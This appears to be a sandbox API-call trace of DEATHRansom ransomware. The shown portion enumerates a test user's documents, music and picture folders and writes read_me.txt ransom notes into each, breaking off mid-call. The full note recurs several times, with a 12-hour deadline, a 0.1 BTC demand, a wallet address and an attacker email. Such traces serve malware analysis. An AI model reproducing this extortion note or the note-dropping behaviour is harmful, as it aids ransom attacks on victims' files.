FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef70f200, ftCreationTime.dwHighDateTime=0x1d4cd63, ftLastAccessTime.dwLowDateTime=0x6578dde0, ftLastAccessTime.dwHighDateTime=0x1d4ccd4, ftLastWriteTime.dwLowDateTime=0x6578dde0, ftLastWriteTime.dwHighDateTime=0x1d4ccd4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0078.047] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\..") returned 66 [0078.047] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0078.047] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3635f270, ftCreationTime.dwHighDateTime=0x1d4cd06, ftLastAccessTime.dwLowDateTime=0x414f09b0, ftLastAccessTime.dwHighDateTime=0x1d4c588, ftLastWriteTime.dwLowDateTime=0x414f09b0, ftLastWriteTime.dwHighDateTime=0x1d4c588, nFileSizeHigh=0x0, nFileSizeLow=0xb12e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClH-OjmlHBZmuz49E.odt", cAlternateFileName="CLH-OJ~1.ODT")) returned 1 [0078.047] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\ClH-OjmlHBZmuz49E.odt") returned 85 [0078.047] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc76970d0, ftCreationTime.dwHighDateTime=0x1d4cd9e, ftLastAccessTime.dwLowDateTime=0x5f85bdd0, ftLastAccessTime.dwHighDateTime=0x1d4cc99, ftLastWriteTime.dwLowDateTime=0x5f85bdd0, ftLastWriteTime.dwHighDateTime=0x1d4cc99, nFileSizeHigh=0x0, nFileSizeLow=0x3a4e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fD4JOnIJ1lR.xlsx", cAlternateFileName="FD4JON~1.XLS")) returned 1 [0078.047] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\fD4JOnIJ1lR.xlsx") returned 80 [0078.047] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7a0a4b0, ftCreationTime.dwHighDateTime=0x1d4cb18, ftLastAccessTime.dwLowDateTime=0xf4e9e7d0, ftLastAccessTime.dwHighDateTime=0x1d4ccd4, ftLastWriteTime.dwLowDateTime=0xf4e9e7d0, ftLastWriteTime.dwHighDateTime=0x1d4ccd4, nFileSizeHigh=0x0, nFileSizeLow=0x1131f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gP16m8nyVRHUOIR.xlsx", cAlternateFileName="GP16M8~1.XLS")) returned 1 [0078.047] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\gP16m8nyVRHUOIR.xlsx") returned 84 [0078.047] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ec5800, ftCreationTime.dwHighDateTime=0x1d4cf00, ftLastAccessTime.dwLowDateTime=0x3ae9c470, ftLastAccessTime.dwHighDateTime=0x1d4cfa1, ftLastWriteTime.dwLowDateTime=0x3ae9c470, ftLastWriteTime.dwHighDateTime=0x1d4cfa1, nFileSizeHigh=0x0, nFileSizeLow=0xfc39, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="k6ptEWHq1S5BCxF5A5s.doc", cAlternateFileName="K6PTEW~1.DOC")) returned 1 [0078.047] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\k6ptEWHq1S5BCxF5A5s.doc") returned 87 [0078.047] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36d3f80, ftCreationTime.dwHighDateTime=0x1d4d54a, ftLastAccessTime.dwLowDateTime=0x531309d0, ftLastAccessTime.dwHighDateTime=0x1d4cf10, ftLastWriteTime.dwLowDateTime=0x531309d0, ftLastWriteTime.dwHighDateTime=0x1d4cf10, nFileSizeHigh=0x0, nFileSizeLow=0xd49e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="l9TuboIbcnKGt.csv", cAlternateFileName="L9TUBO~1.CSV")) returned 1 [0078.047] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\l9TuboIbcnKGt.csv") returned 81 [0078.047] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb14fa760, ftCreationTime.dwHighDateTime=0x1d4d249, ftLastAccessTime.dwLowDateTime=0x827c8950, ftLastAccessTime.dwHighDateTime=0x1d4cc1b, ftLastWriteTime.dwLowDateTime=0x827c8950, ftLastWriteTime.dwHighDateTime=0x1d4cc1b, nFileSizeHigh=0x0, nFileSizeLow=0x6131, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pO7IZJHxedut5D_1CRn9.ods", cAlternateFileName="PO7IZJ~1.ODS")) returned 1 [0078.047] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\pO7IZJHxedut5D_1CRn9.ods") returned 88 [0078.047] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ba6bba0, ftCreationTime.dwHighDateTime=0x1d4c5f2, ftLastAccessTime.dwLowDateTime=0x6046be40, ftLastAccessTime.dwHighDateTime=0x1d4d478, ftLastWriteTime.dwLowDateTime=0x6046be40, ftLastWriteTime.dwHighDateTime=0x1d4d478, nFileSizeHigh=0x0, nFileSizeLow=0x6cdb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="s7TV.csv", cAlternateFileName="")) returned 1 [0078.047] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\s7TV.csv") returned 72 [0078.047] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x801c1630, ftCreationTime.dwHighDateTime=0x1d4d120, ftLastAccessTime.dwLowDateTime=0x3dfdee80, ftLastAccessTime.dwHighDateTime=0x1d4cc0d, ftLastWriteTime.dwLowDateTime=0x3dfdee80, ftLastWriteTime.dwHighDateTime=0x1d4cc0d, nFileSizeHigh=0x0, nFileSizeLow=0x17c4c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="t W.odt", cAlternateFileName="TW90D6~1.ODT")) returned 1 [0078.048] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\t W.odt") returned 71 [0078.048] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b27ea0, ftCreationTime.dwHighDateTime=0x1d4cc49, ftLastAccessTime.dwLowDateTime=0x4c8039a0, ftLastAccessTime.dwHighDateTime=0x1d4ccac, ftLastWriteTime.dwLowDateTime=0x4c8039a0, ftLastWriteTime.dwHighDateTime=0x1d4ccac, nFileSizeHigh=0x0, nFileSizeLow=0x6aaa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WWeUBMdbxmAS5vSNma8w.odt", cAlternateFileName="WWEUBM~1.ODT")) returned 1 [0078.048] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\WWeUBMdbxmAS5vSNma8w.odt") returned 88 [0078.048] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b27ea0, ftCreationTime.dwHighDateTime=0x1d4cc49, ftLastAccessTime.dwLowDateTime=0x4c8039a0, ftLastAccessTime.dwHighDateTime=0x1d4ccac, ftLastWriteTime.dwLowDateTime=0x4c8039a0, ftLastWriteTime.dwHighDateTime=0x1d4ccac, nFileSizeHigh=0x0, nFileSizeLow=0x6aaa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WWeUBMdbxmAS5vSNma8w.odt", cAlternateFileName="WWEUBM~1.ODT")) returned 0 [0078.048] FindClose (in: hFindFile=0x32fc2c8 | out: hFindFile=0x32fc2c8) returned 1 [0078.048] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\read_me.txt") returned 75 [0078.048] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kvf\\bz53hxv-ojio9t\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7bc [0078.048] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.048] WriteFile (in: hFile=0x7bc, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17eba4, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17eba4*=0x6b3, lpOverlapped=0x0) returned 1 [0078.049] CloseHandle (hObject=0x7bc) returned 1 [0078.049] GetProcessHeap () returned 0x540000 [0078.049] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4292100 | out: hHeap=0x540000) returned 1 [0078.049] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c08e800, ftCreationTime.dwHighDateTime=0x1d4c54b, ftLastAccessTime.dwLowDateTime=0xa5b88500, ftLastAccessTime.dwHighDateTime=0x1d4c9f9, ftLastWriteTime.dwLowDateTime=0xa5b88500, ftLastWriteTime.dwHighDateTime=0x1d4c9f9, nFileSizeHigh=0x0, nFileSizeLow=0x12745, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FA9DS7OghoViH.ods", cAlternateFileName="FA9DS7~1.ODS")) returned 1 [0078.054] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.054] WriteFile (in: hFile=0x7a8, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17ee1c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17ee1c*=0x6b3, lpOverlapped=0x0) returned 1 [0078.055] CloseHandle (hObject=0x7a8) returned 1 [0078.055] GetProcessHeap () returned 0x540000 [0078.055] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42720f0 | out: hHeap=0x540000) returned 1 [0078.055] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x488f4de0, ftCreationTime.dwHighDateTime=0x1d55b9a, ftLastAccessTime.dwLowDateTime=0xcb80070, ftLastAccessTime.dwHighDateTime=0x1d58244, ftLastWriteTime.dwLowDateTime=0xcb80070, ftLastWriteTime.dwHighDateTime=0x1d58244, nFileSizeHigh=0x0, nFileSizeLow=0x3565, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="4NWE2d4at f.docx", cAlternateFileName="4NWE2D~1.DOC")) returned 1 [0078.055] lstrcpyW (in: lpString1=0x42720f0, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music" [0078.055] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 49 [0078.055] QueueUserWorkItem (Function=0x40a710, Context=0x42720f0, Flags=0x0) returned 1 [0078.055] GetProcessHeap () returned 0x540000 [0078.055] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4292100 [0078.055] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*") returned 54 [0078.056] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a843e40, ftCreationTime.dwHighDateTime=0x1d4ce14, ftLastAccessTime.dwLowDateTime=0xc61ab150, ftLastAccessTime.dwHighDateTime=0x1d4d44f, ftLastWriteTime.dwLowDateTime=0xc61ab150, ftLastWriteTime.dwHighDateTime=0x1d4d44f, nFileSizeHigh=0x0, nFileSizeLow=0x16e4d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OtlYFfWk WbY-Q82h.rtf", cAlternateFileName="廠疙汈㧦\x17甴\x17a")) returned 0xffffffff [0078.056] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\read_me.txt") returned 64 [0078.056] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my music\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8 [0078.056] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.056] WriteFile (in: hFile=0x7a8, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17ee1c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17ee1c*=0x6b3, lpOverlapped=0x0) returned 1 [0078.057] CloseHandle (hObject=0x7a8) returned 1 [0078.057] GetProcessHeap () returned 0x540000 [0078.057] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4292100 | out: hHeap=0x540000) returned 1 [0078.057] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0078.057] lstrcpyW (in: lpString1=0x4292100, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures" [0078.057] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 50 [0078.057] QueueUserWorkItem (Function=0x40a710, Context=0x4292100, Flags=0x0) returned 1 [0078.057] GetProcessHeap () returned 0x540000 [0078.057] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42a2108 [0078.057] wnsprintfW (in: pszDest=0x42a2108, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*") returned 57 [0078.058] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a843e40, ftCreationTime.dwHighDateTime=0x1d4ce14, ftLastAccessTime.dwLowDateTime=0xc61ab150, ftLastAccessTime.dwHighDateTime=0x1d4d44f, ftLastWriteTime.dwLowDateTime=0xc61ab150, ftLastWriteTime.dwHighDateTime=0x1d4d44f, nFileSizeHigh=0x0, nFileSizeLow=0x16e4d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OtlYFfWk WbY-Q82h.rtf", cAlternateFileName="廠疙汈㧦\x17甴\x17a")) returned 0xffffffff [0078.058] wnsprintfW (in: pszDest=0x42a2108, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\read_me.txt") returned 67 [0078.058] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my pictures\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8 [0078.058] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.058] WriteFile (in: hFile=0x7a8, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17ee1c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17ee1c*=0x6b3, lpOverlapped=0x0) returned 1 [0078.059] CloseHandle (hObject=0x7a8) returned 1 [0078.059] GetProcessHeap () returned 0x540000 [0078.059] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42a2108 | out: hHeap=0x540000) returned 1 [0078.059] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | 